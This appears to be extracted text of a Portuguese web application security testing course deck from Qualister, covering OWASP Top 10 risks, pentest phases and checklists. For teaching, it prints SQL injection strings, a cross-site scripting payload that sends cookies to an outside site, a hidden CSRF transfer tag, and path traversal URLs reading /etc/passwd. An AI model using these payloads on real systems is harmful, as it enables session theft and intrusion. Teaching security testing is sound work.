Terceirização de testes e serviços de qualidade

(48) 3285 5615 / 9645 5506
contato@qualister.com.br

•  Terceirização de profissionais
•  Consultoria de teste Testes
de

•  Avaliação de usabilidade segurança
de

•  Automação de testes
•  Testes de performance aplicações
WEB

•  Treinamentos

www.qualister.com.br

Quer saber mais?

Estes
são
apenas
alguns
slides
do
curso
de
testes

de
segurança
para
aplicações
WEB

Para
maiores
informações
visite
nosso
site:

h=p://www.qualister.com.br/cursos


Direitos autorais

Importante er
produção de qualqu
proibida a cópia e re
–  É resentação incluindo,
parte do conteúdo desta ap
, imagens, gráficos e
mas não limitado a, textos
é protegida pelas leis
tabela s. Esta apresentação no
opriedade de Cristia
de Copyright e são pr e Treinamento
Caetano e Qualister Consultoria
LTDA.

r, copiar, guardar em
–  Não é permitido modifica
ugar, vender ou
banco de dados público, al
apresentação,
republicar qualquer parte desta
o explícita do autor.
sem prévia permissã

o deste material,
–  Quando ho uver permissão de us e
bibliográfica conform
é ob rigatória a referência
as normas vigentes.


Instrutor

Cristiano Caetano
Email: cristiano.caetano@qualister.com.br
Apresentações: slideshare.net/cristianocaetano
Blog: cristianocaetano.wordpress.com
É certificado CBTS pela ALATS. Diretor técnico da Qualister com mais de 10 anos de experiência, já
trabalhou na área de qualidade e teste de software para grandes empresas como Zero G, DELL e HP
Invent. É colunista na área de Teste e Qualidade de software do site linhadecodigo.com.br e autor dos
livros "CVS: Controle de Versões e Desenvolvimento Colaborativo de Software" e "Automação e
Gerenciamento de Testes: Aumentando a Produtividade com as Principais Soluções Open Source e
Gratuitas". Participante ativo da comunidade de teste de software brasileira, é o criador e mantenedor
do portal TestExpert: A sua comunidade gratuita de teste e qualidade de software
(www.testexpert.com.br).


Twitter

twitter.com/c_caetano


Sobre a Qualister

•  Fundação: 2007.
•  Sobre a Qualister: A Qualister é uma empresa nacional, constituída a partir da união
de profissionais qualificados e certificados na área de testes e qualidade de software,
com o objetivo de integrar, implementar e implantar soluções com base nas melhores
práticas do mercado e normas internacionais.
•  Colaboradores: A Qualister é composta por colaboradores pós-graduados e
certificados na área de testes (CBTS, CSTE) com larga experiência na indústria de
Tecnologia da Informação.
•  Área de atuação: A Qualister é uma empresa especializada em serviços de
qualidade e teste de software. Tem como linhas de atuação consultoria em teste/
qualidade de software, outsourcing (terceirização dos serviços através da alocação
de profissionais) e treinamentos.


Parcerias internacionais

Soluções para automação, profilling e gestão de testes

Soluções para testes de performance

Soluções de apoio a avaliação de usabilidade


Tópico

• Introdução


Introdução

•  Desenvolvimento de software para a WEB
–  Não existe a cultura de desenvolvimento de aplicações que ficam
expostas na WEB (desenvolvedores desktop estavam acostumados a
desenvolver aplicações para intranets/redes locais).
–  Aplicações WEB são construídas normalmente com prazos apertados e
segurança normalmente não é a prioridade.
–  Aplicações WEB são construídas sobre protocolos leves e flexíveis (e que
não oferecem mecanismos de privacidade, integridade e segurança).
–  Aplicações WEB são baseadas em uma série de combinações de
plataformas, ferramentas, serviços, etc. Cada um com os seus desafios e
vulnerabilidades.
–  Aplicações WEB geram e executam código on-the-fly em função da sua
natureza dinâmica, tornando-as mais vulneráveis.


Introdução

•  Número de ataques registrados por ano

The 2011 Mid-Year top cyber security risks report

Introdução

•  Vulnerabilidades comuns em aplicações WEB
Fraqueza
Descrição

Aplicação/Servidor
mal
Muitas
aplicações/servidores
são
configuradas
ou
instaladas
por
default
com
recursos
desnecessários
ou

configurado
inseguros
(debug,
usuários
default,
logs
detalhados,
permissões
incorretas,
etc).
Esses
recurso
oferecem

ao
hacker
meios
de
contornar
os
meios
de
autenLcação,
ter
acesso
a
informações
sensíveis
ou
ter
uma

elevação
de
privilégios

Indexação
de
diretório
O
Web
Server
expõe
inadverLdamente
o
conteúdo
de
diretórios
quando
o
arquivo
raiz
(ex:
index.html)

não
é
informado

Indexação
insegura
O
Web
Server/aplicação
permite
que
motores
de
pesquisa
(Google,
Yahoo,
etc)
tenham
acesso
a

arquivos
confidenciais
e
indexem
esses
arquivos
para
pesquisas
públicas

Permissões
inadequadas
Os
arquivos
de
um
servidor
estão
com
permissões
inadequadas
permiLndo
que
o
hacker
crie,
subsLtua

ou
modifique
arquivos
no
servidor

Tratamento
inadequado
As
aplicações
não
validam,
filtram,
tratam
ou
saniLzam
a
entrada/saída
de
dados
permiLndo
que
o

de
entrada/saída
de
dados
hacker
injete/modifique
dados,
código,
arquivos,
etc
maliciosos

Vazamento
de
A
aplicação
revela
dados
sensíveis
em
situações
de
erro,
stress,
etc,
tais
como:
sistema
operacional,
web

informações
server,
banco
de
dados,
etc.

Falta
de
AnL-‐automação
Ausência
de
mecanismos
que
previnem
ações
automaLzadas,
tais
como:
tentaLvas
por
força
bruta
de

login,
stress,
operações
repeLLvas,
etc.

http://projects.webappsec.org/w/page/13246978/Threat%20Classification

Introdução

•  Vulnerabilidades comuns em aplicações WEB
Fraqueza
Descrição

AutenLcação
insuficiente
Ocorre
quando
o
sistema
permite
que
o
hacker
acesse
um
recurso,
informação
ou
arquivo
sensível
sem

exigir
autenLcação

Autorização
insuficiente
Ocorre
quando
o
sistema
permite
que
o
usuário
execute
ações
que
não
permiLdas
ao
seu
perfil
de

acesso/alçada

Recuperação
de
senha
Ocorre
quando
uma
aplicação
permite
que
o
hacker
consiga
mudar
ou
obter
a
senha
de
outro
usuário

insegura
pelo
formulário
de
recuperação
de
usuário/senha
em
função
de
mecanismos
de
segurança
frágeis,

engenharia
social,
falta
de
um
mecanismo
redundante
de
confirmação
ou
tentaLva
e
erro

Validação
do
fluxo
normal
Ocorre
quando
o
sistema
não
consegue
idenLficar/prevenir
que
o
hacker
pule
etapas
de
um
processo

do
processo
inadequada
normal
de
uso,
conseguindo
dessa
forma,
burlar
os
mecanismos
de
segurança,
obter
bene^cios
ou

acesso
a
informações
privilegiadas

Expiração
da
sessão
Ocorre
quando
o
sistema
permite
que
o
atacante
uLlize
cookies,
sessões,
ID´s
de
autorização,
etc

inadequada
roubados
de
outro
usuário
(em
função
de
não
expirar
ou
ter
um
tempo
de
expiração
muito
longo)

Proteção
insuficiente
na
Ocorre
quando
os
dados
transmiLdos
e
recebidos
não
são
criptografados
(SSL/TLS)
ou
contém

camada
de
transporte
informações
sensíveis/confidenciais.
Ou
quando
essas
informações
podem
ser
interceptadas
e

modificadas.

http://projects.webappsec.org/w/page/13246978/Threat%20Classification

Introdução

•  Categorias de vulnerabilidades mais comuns

VERACODE STATE OF SOFTWARE SECURITY REPORT/2011

Introdução

•  Vulnerabilidades agrupadas por tipo


Introdução

•  Número de ataques registrados por ano
–  PHP/Remote File Include (PHP/RFI), SQL Injection (SQLi) e Cross-Site
Scripting (XSS)


Introdução

•  Open Web Application Security Project (OWASP) TOP 10/2010
Vulnerabilidade
Descrição

A1-‐InjecLon
Vulnerabilidades
do
Lpo
Injeção
(SQL,
S.O.,
etc)
ocorrem
quando
uma
informação
não

conﬁável
é
enviada
a
um
interpretador
como
parte
de
uma
query
ou
comando.
O
hacker

se
aproveita
de
falhas/defeitos
para
enviar
comandos
mal
intencionados
ou
acessar
dados

não
autorizados

A2-‐Cross
Site
ScripLng
Vulnerabilidades
do
Lpo
XSS
ocorrem
quando
uma
aplicação
executa
ações/scripts
no

(XSS)
navegador
do
usuário
permiLndo
que
o
hacker
seqüestre
sessões,
redirecione
o
usuário

para
sites
maliciosos,
etc

A3-‐Broken
Este
Lpo
de
vulnerabilidade
ocorre
quando
os
recursos
de
autenLcação
ou
gerenciamento

AuthenLcaLon
and
de
sessão
é
frágil,
incorreto
ou
inexistente
permiLndo
que
o
hacker
assuma
a
idenLdade

Session
Management
de
outra
pessoa

A4-‐Insecure
Direct
Esta
vulnerabilidade
ocorre
quando
o
desenvolvedor
inadverLdamente
expõe
uma

Object
References
referência
a
algum
elemento
interno
(arquivo,
diretório,
etc)
sem
um
controle
de
acesso

ou
proteção.
Dessa
forma,
o
hacker
pode
acessar
ou
manipular
esses
objetos
para
acessar

dados
não
autorizados

A5-‐Cross
Site
Request
Um
ataque
do
Lpo
CSRF
força
um
usuário
logado
em
um
sistema
a
enviar
requisições

Forgery
(CSRF)
forjadas
com
ações
maliciosas
ao
servidor
de
maneira
que
as
operações
são
realizadas

sem
o
conhecimento
do
usuário
e
usando
o
seu
perﬁl.

https://www.owasp.org/index.php/Top_10_2010-Main

Introdução

•  Open Web Application Security Project (OWASP) TOP 10/2010
Vulnerabilidade
Descrição

A6-‐Security
Esta
vulnerabilidade
ocorre
de
configurações
inadequadas
nos
servidores
e
falta
de

MisconfiguraLon
atualizações
(patches)

A7-‐Insecure
Esta
vulnerabilidade
ocorre
em
função
de
que
sa
aplicações
não
protegem
ou
criptografam

Cryptographic
Storage
informações
sensíveis

A8-‐Failure
to
Restrict
Esta
vulnerabilidade
ocorre
em
função
de
que
a
aplicação/servidor
não
protege
ou

URL
Access
restringe
adequadamente
o
acesso
a
determinadas
páginas

A9-‐Insufficient
Esta
vulnerabilidade
ocorre
em
função
de
que
a
aplicação
não
protege
a
integridade
dos

Transport
Layer
dados
transferidos
entre
o
navegador
e
o
servidor

ProtecLon

A10-‐Unvalidated
Esta
vulnerabilidade
ocorre
em
função
de
que
a
aplicação
redireciona
ou
encaminha
os

Redirects
and
usuários
para
outras
páginas
ou
sites
sem
a
adequada
validação.
Dessa
forma,
o
hacker

Forwards
pode
redirecionar
as
víLmas
a
sites
maliciosos

https://www.owasp.org/index.php/Top_10_2010-Main

Introdução

•  2011 CWE (Common Weakness Enumeration)/SANS Top 25 Most Dangerous Software Errors

http://cwe.mitre.org/top25/

Introdução

•  Boas práticas de segurança
–  Falhe de maneira segura: todo mecanismo de segurança deve ser
projetado para que, em caso de falha, não exponha o resto do ambiente.
Ou seja, se o mecanismo de segurança falhar, todo o sistema deve ser
bloqueado. Em um sistema de autenticação quando um mecanismo não
está funcionando, todas as tentativas de acesso devem ser negadas ao
invés de permitidas. A regra padrão deve ser negar o acesso e não aceitá-
lo.

–  Mantenha a simplicidade: Quanto mais complexo o mecanismo de
segurança mais pontos de falha existirão. Em geral soluções mais simples
são mais seguras.

–  Reuse componentes confiáveis: Sempre que possível utilize
componentes que já foram amplamente utilizados e testados e que
possuam uma boa reputação em relação a segurança.


Introdução

–  Mecanismos de segurança em múltiplos níveis: a segurança de um
sistema não deve ser delegada a um único componente do sistema.
Deve-se sempre que possível existir mecanismos de proteção
redundantes de tal forma que a falha em um mecanismo possa ser
compensada por outros componentes.

–  Não baseie a segurança de um sistema em função da obscuridade: a
segurança de um sistema não pode depender do fato que o atacante não
conhece seus mecanismos internos ou pontos de falha.

–  Limitação e separação de privilégios: a aplicação deve ser executada
com o mínimo possível de privilégios para que um eventual
comprometimento da aplicação não implique no comprometimento do
ambiente que a hospeda.


Introdução

–  Configurar o ambiente adequadamente:
•  Desabilitar os serviços desnecessários
•  Remoção de usuários desnecessários
•  Atualização constante de versões vulneráveis de programas
•  Configuração de serviços e permissões
•  Remoção de privilégios dispensáveis
•  Alteração de senhas padrão
•  Alteração periódica de senhas de administradores
•  Utilização de senhas fortes.


Tópico

•  Testes de caixa preta


Testes de caixa preta

•  Teste de caixa preta
–  O teste de caixa preta é realizado sem o conhecimento das características técnicas
do sistema e sem acesso ao código fonte. No teste de caixa preta, o testador tem
acesso apenas a interface gráfica do sistema, onde será realizado a observação
das mensagens transmitidas, modificação de dados de entrada, etc. Ou seja, ele
terá as mesmas limitações impostas ao hacker/atacante.

–  Vulnerability Assessment: Escaneamento automático de um sistema buscando
vulnerabilidades conhecidas.
–  Penetration Testing: Também chamado de Ethical Hacking, essa técnica é
conduzida por um especialista em segurança que executa as mesmas técnicas e
ataques que um hacker usaria para detectar defeitos e vulnerabilidades.



•  Fingerprinting
–  Reconhecimento e aprendizagem sobre a aplicação, os pontos de
entrada, os protocolos e tecnologias associadas (Arquitetura, topologia,
versão dos softwares (Web Server, Application Server), banco de dados,
etc). Com base nas informações descobertas o hacker determinará o tipo
de ataque que será realizado (ou o ataque será realizado Blind)



•  Força Bruta (Brute Force)
–  O ataque de força bruta emprega um mecanismo automatizado que
executa tentativas exaustivas de acesso (logins, combinações de
identificadores de sessões, etc) usando dicionários ou aleatórios

Dicionário de senhas
http://www.governmentsecurity.org/articles/default-logins-and-passwords-for-networked-devices.html
http://www.cirt.net/passwords
http://www.skullsecurity.org/wiki/index.php/Passwords



•  Seqüestro de Sessões
–  O fato do protocolo HTTP não manter estado entre as diversas
requisições de um mesmo cliente é uma restrição muito séria no
desenvolvimento de aplicações WEB. Para resolver esse problema muitos
servidores de aplicação implementam mecanismos de sessões baseados
no uso de Cookies.

–  Tipicamente esses sistemas funcionam da seguinte forma: na sua primeira
requisição, o cliente recebe do servidor uma identificação (Cookie). Nas
próximas visitas ao mesmo site o cliente apresenta essa informação ao
servidor, possibilitando assim que as aplicações reconheçam aquele
cliente e recuperem informações a seu respeito armazenadas no servidor.

–  Essa técnica foi inicialmente muito utilizada para guardar preferências
pessoais de usuários e coletar informações estatísticas de visitas aos
sites.



•  Seqüestro de Sessões
–  Mais recentemente tornou-se uma prática muito comum utilizá-la em
conjunto com mecanismos simples de autenticação para identificar
usuários válidos nos sistemas. Ao entrar no sistema o usuário fornece
suas credenciais que são validadas no repositório de dados. A identidade
do usuário é então associada à sua sessão e em transações posteriores
não é mais necessário fornecer tais credenciais.

–  Quando utilizado sobre HTTP sem criptografia (normalmente
implementada pelo SSL) esse esquema pode facilmente ser burlado.
Basta, para isso, que o atacante consiga capturar os Cookies
identificadores de sessão, e monte requisições válidas utilizando esses
cookies. Na prática a aplicação vai “acreditar” que o atacante é um
usuário válido, em particular o usuário que possui aquele identificador de
sessões apresentado, possibilitando que o atacante assuma a identidade
de um usuário válido do sistema e efetue qualquer operação permitida a
esse usuário.



•  Injeção de Códigos SQL
–  A ausência de validação de parâmetros fornecidos por usuários e
inseridos em consultas a bancos de dados utilizando SQL (Structured
Query Language) pode levar a injeção de códigos SQL não planejados na
aplicação. Como conseqüência pode haver alteração do resultado das
consultas, visualização indevida de dados do sistema, ou, até mesmo,
alteração do estado do banco através de consultas que insiram, modifique
ou removam esses dados.

–  ' or 1=1--
–  " or 1=1--
–  or 1=1--
–  ' or 'a'='a
–  " or "a"="a
–  ') or ('a'='a



•  Cross-Site Scripting
–  Também causado pela validação insuficiente das entradas de dados.
Consiste na inserção de tags HTML em campos de formulário ou
parâmetros de URLs sob o controle dos usuários. Esses tags
normalmente contêm programas em linguagem de scripts (javascripts ou
vbscripts por exemplo). Ao serem executados em navegadores comuns
esses códigos, podem enviar informações sensíveis, tais como Cookies
identificadores de sessão para outros sites, daí o termo cross-site
scripting.

–  Supondo por exemplo que um determinado usuário possua permissão
apenas de alterar seus dados pessoais. Em um campo qualquer desse
formulário ele poderia colocar o seguinte script:

–  <script language=”javascript”> document.write(‘<img src=http://
www.outrosite.com/cgi/img? ’ + document.cookie +‘>’)</script>



•  Cross-Site Scripting
–  Ao ser visualizado por um outro usuário, o administrador do sistema por exemplo,
esse script executaria um CGI em outro site passando como parâmetro os cookies
de sessão do administrador. De posse desses cookies, o atacante poderia assumir
a identidade do administrador, bastando para isso apresentar para o servidor de
aplicação os cookies capturados. Enquanto a sessão estivesse aberta todas as
funcionalidades do administrador estariam disponíveis para o atacante.

–  O script poderia ser escondido utilizando outras codificações e enviado por e-mail
para vários usuários do sistema. Ao acessar o sistema as vítimas veriam uma
página muito semelhante a original e que estaria visualmente identificada como
segura com certificado de servidor associado ao site original. No entanto, ao
preencher o formulário os dados seriam enviados o atacante.
– 
–  Vale ressaltar que, diferentemente do que acontece com o seqüestro de sessões,
esse ataque não pode ser evitado pelo uso de SSL, pois não depende da captura
de tráfego. A única forma de evitá-lo é pela validação de entradas de dados.



•  Cross Site Request Forgery (CSRF)
–  Este ataque explora a confiança que o sistema tem em relação as ações
do usuário. Tipicamente o hacker insere scripts maliciosos em páginas
HTML/Email. Quando o usuário estiver logado no sistema, o código
malicioso pode ser executado sem o conhecimento do usuário e usando
todos os seus privilégios.

–  Exemplo:

–  http://example.com/app/transferFunds?
amount=1500&destinationAccount=4673243243

–  <img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /
>



•  Execução de comandos no S.O.
–  Esse tipo de vulnerabilidade é mais comum em scripts CGI e consiste em manipular
parâmetros para causar a execução de comandos não previstos no
desenvolvimento da aplicação. Um exemplo clássico são os formulários para envio
de e-mails, onde o destinatário é fornecido pelo usuário, e a aplicação faz uma
chamada de sistema para o programa de envio de e-mails, passando como esse
parâmetro. Para explorar esse tipo de sistema costuma-se inserir após o endereço
do destinatário o caractere separador de comandos do S.O. (ponto e vírgula no
UNIX) seguido de um outro comando qualquer. Como resultado o e-mail é enviado
–  e segundo comando é executado com os mesmos privilégios do usuário do servidor
Web.

–  Outro exemplo muito comum é o dos scripts CGI para exibição de notícias
armazenadas em arquivos no servidor Web. Normalmente esses scripts recebem
como parâmetro o nome do arquivo de notícias a ser exibido:

–  https://www.site.com.br/noticias.cgi?texto=noticia01.txt



•  Execução de comandos no S.O.
–  Supondo que o parâmetro do nome do arquivo não esteja sendo validado um
atacante poderia exibir o conteúdo do arquivo de usuários do sistema operacional
alterando a URL acima para:

–  https://www.site.com.br/noticias.cgi?texto=/etc/passwd

–  Em muitos sistemas UNIX o arquivo /etc/passwd contém o nome dos usuários e
suas senhas cifradas. De posse desse conteúdo o atacante poderia utilizar um
programa de quebra de senhas para recuperar as senhas dos usuários.



•  Elevação de Privilégios
–  Em sistemas onde diferentes usuários possuem diferentes privilégios é
comum que as limitações de acesso não sejam feitas corretamente. Deve-
se evitar técnicas como utilização de URLs diferentes com mesma base
de usuários, interfaces restritas sem validação no backend e utilização de
campos escondidos para identificar o nível de privilégio dos usuários.



•  Upload de arquivo irrestrito (Unrestricted File Upload)
–  Quando é permitido aos usuários transferir arquivos dos seus
computadores para os servidores via Web é importante que se façam as
verificações necessárias para impedir o mau uso dessa funcionalidade.
Deve-se por exemplo evitar que usuários mal-intencionados consigam
sobrepor arquivos de configuração, códigos fonte, arquivos HTML ou
imagens do sistema. Também deve-se impedir que sejam enviados
arquivos contendo códigos que ao serem acessados pela Web sejam
executados pelo servidor de aplicação, tais como JSP, PHP ou ASP.

–  Um possível mau uso dessa funcionalidade é a de usar o formulário de
upload seguidamente até ocupar todo o espaço em disco disponível no
servidor, causando um ataque de exaustão de recursos. Dependendo do
tipo de dados armazenados nessa partição do disco, alguns dos seguintes
problemas podem ocorrer: interrupção na geração de registros,
instabilidade no servidor de aplicação ou no sistema operacional como um
todo. Deve-se atentar para esse tipo de ameaça no desenvolvimento de
sistemas de upload.



•  Remote File Inclusion (RFI)/Path Traversal
–  Este tipo de vulnerabilidade permite que o hacker inclua um arquivo
malicioso (local ou remoto) em alguma entrada de dados ou na URL.
Dessa forma o atacante pode ver alguma informação sigilosa ou executar
um script malicioso.

–  Exemplo:

–  http://110.76.151.11/madara/vulnerabilities/fi/?page=/etc/passwd



•  O Penetration Testing é dividido em 4 etapas:
–  Crawl/Fingerprinting: Fase de reconhecimento e aprendizagem sobre a
aplicação, os pontos de entrada, os protocolos e tecnologias associadas
–  Analysis: fase de criação dos casos de testes (abuse cases)
–  Attack: fase de execução dos testes manuais e automatizados em busca
de vulnerabilidades simulando um ataque
–  Reporting: fase de relato de vulnerabilidades e sugestões de correções



•  Exemplo de checklist usado para guiar o Penetration Testing

Categoria
Verificação
Descrição

Negação
de
serviço
Flooding
na
aplicação
Verificar
se
a
aplicação
funciona
corretamente
frente
a

um
grande
volume
de
transações,
acessos,
tráfego
de

rede,
etc

Falta
de
AnL-‐automação
Ausência
de
mecanismos
que
previnem
ações

automaLzadas,
tais
como:
tentaLvas
por
força
bruta
de

login,
stress,
operações
repeLLvas,
etc.

Autorização
Autorização
Verificar
se
o
mecanismo
de
autorização
funciona

corretamente

Manipulação
de
parâmetros
de
autorização
Mudar
parâmetros
ou
sessions
para
verificar
se
é

possível
elevar
as
permissões

Burlar
o
fluxo
da
aplicação
Criar
situações
onde
o
fluxo
normal
de
uso
é
burlado

AutenLcação
Burlar
a
autenLcação
Burlar
a
autenLcação

Usar
contas
padrão
Usar
contas
e
senhas
default
ou
facilmente
adivinháveis

Qualidade
das
senhas
Verificar
se
a
geração
de
senhas
uLliza
mecanismos

simples
ou
exigem
perguntas
secretas
para
resetar
e
se

senha
é
suspensa
quando
é
tentado
usar
a
senha

incorreta
várias
vezes



•  Exemplo de checklist
Categoria
Verificação
Descrição

Aplicação/Servidor
Vulnerabilidades
conhecidas/Patches
Verificar
se
o
servidor
não
tem
alguma
vulnerabilidade

mal
configurado
conhecida
que
não
foi
corrigida
por
um
patch

Backup
de
arquivos
Verificar
se
existem
backups
de
arquivos
não
protegidos

Configuração
do
servidor
Verificar
se
existem
configurações
do
servidor

potencialmente
inseguras
que
não
foram
re-‐
configuradas,
removidas,
etc

Indexação
de
diretório
O
Web
Server
expõe
inadverLdamente
o
conteúdo
de

diretórios
quando
o
arquivo
raiz
(ex:
index.html)
não
é

informado

Indexação
insegura
O
Web
Server/aplicação
permite
que
motores
de

pesquisa
(Google,
Yahoo,
etc)
tenham
acesso
a
arquivos

confidenciais
e
indexem
esses
arquivos
para
pesquisas

públicas



•  Exemplo de checklist
Categoria
Verificação
Descrição

Vazamento
de
Mensagens
de
erro
Verificar
se
a
aplicação
exibe
mensagens
de
erro
com

informações
informações
confidenciais
ou
que
sirvam
como
dica
para

um
hacker,
ex:
(usuário
não
existe,
senha
incorreta,
etc)

Dados
sensíveis
em
html
Verificar
se
não
existem
dados
sensíveis
no
HTML
como

por
exemplo,
comentários,
etc

Tratamento
Injeção
de
scripts
Verificar
se
a
aplicação
não
processa
scripts
como
parte

inadequado
de
das
entradas

entrada/saída
de

Injeção
de
SQL
Verificar
se
aplicação
não
processa
os
comandos
sql

dados

injetados
pelo
usuário

Injeção
de
comandos
do
sistema
operacional
Verificar
se
aplicação
não
processa
os
comandos
do

sistema
operacional
injetados
pelo
usuário


Tópico

•  Ferramentas de apoio
ao teste manual


Ferramentas

–  Tipos de ferramentas:
•  Automação dos testes: ferramentas que executam testes simples e repetitivos;
•  Preparação dos testes: ferramentas de apoio a preparação do ambiente de testes ou massa de dados de
testes;
•  Gerenciamento dos testes: ferramenta de gerenciamento dos testes, apontamento dos defeitos e geração
de métricas

–  Tipos de testes automatizados:
•  Fuzzing: a ferramenta injeta dados randômicos na interface do sistema (ou em outras camadas) com o
objetivo de revelar vulnerabilidades ou que o sistema apresente mensagens de erro com informações
relevantes
•  Syntax: a ferramenta injeta uma gama de entradas válidas e inválidas com objetivo de identificar
vulnerabilidades conhecidas
•  Data Analysis: a ferramenta analisa os dados gerados pela aplicação (inclusive dados criptografados)
•  Stress: a ferramenta cria condições extremas de uso (acessos simultâneos, upload de arquivos, etc) com
o objetivo de exaurir os recursos do sistema até a sua paralisação
•  Monitoring: a ferramenta monitora as requisições transmitidas e recebidas com o objetivo de identificar
vulnerabilidades ou informações relevantes


Tópico

•  Ferramentas de apoio ao
escaneamento de vulnerabilidades


Ferramentas

•  Site Digger
–  http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx


Ferramentas

•  Acunetix
–  http://www.acunetix.com/ ($ 4995)


Ferramentas

•  Netsparker Community Edition
–  http://www.mavitunasecurity.com/communityedition/


Tópico

•  Exercícios práticos


Tópico

•  Testes de caixa branca


Testes de caixa branca

•  Análise estática:
–  Características:
•  Rápido
•  Alto nível de cobertura
•  Não exige treinamento
•  Alto número de falso positivos
•  Incapaz de detectar problemas sutis
•  Incapaz de detectar problemas que são revelados apenas durante a execução
–  Tipos de problemas detectados:
•  Violações de boas prática de programação
•  Buffer overflow
•  Uso incorreto de bibliotecas
•  Falhas de segurança comuns
–  Algumas ferramentas:
•  http://www.blueinfy.com/appcodescan.html
•  https://www.fortify.com
•  http://coverity.com/products/static-analysis.html

www.qualister.com.br OWASP Application Security Verification Standard (ASVS)

Testes de caixa branca

•  Revisão de código:
–  Todas as páginas e demais recursos exigem autenticação (exceto aqueles que são públicos)?
–  A conta de usuário é travada caso exceda a quantidade máxima de logins incorretos?
–  Existe validação das entradas no lado do servidor (server side)?
–  Os mecanismos de segurança quando falham forçam o usuário a não ter privilégios?
–  É exigido uma re-autenticação para funcionalidades/operações críticas?
–  As senhas/usuários são criptografados tanto no banco de dados quanto na transmissão via
http?
–  Quando o usuário realiza o log out a sessão torna-se inválida?
–  A sessão é expirada após o limite de timeout?
–  O ID da sessão é re-gerado após um novo login?
–  O usuário pode acessar as páginas/funcionalidades/arquivos/diretórios correspondentes a
autorização concedida no login?
–  A entrada de dados é validada/sanitizada antes de ser enviada ao servidor?
–  O servidor re-valida/sanitiza os dados recebidos antes de processar?
–  As instruções SQL são parametrizadas?
–  Os valores randômicos são gerados usando um algoritmo reconhecido como seguro no
mercado?
–  O sistema exibe mensagens de erro não tratadas contendo informações sensíveis?
–  A aplicação registra no log informações sensíveis?

www.qualister.com.br OWASP Application Security Verification Standard (ASVS)

Dúvidas?

•  Contato:
–  Email: cristiano.caetano@qualister.com.br


Terceirização de testes e serviços de qualidade

Recommandé

Recommandé

Contenu connexe

En vedette

En vedette (20)

Similaire à Terceirização de testes e serviços de qualidade

Similaire à Terceirização de testes e serviços de qualidade (20)

Terceirização de testes e serviços de qualidade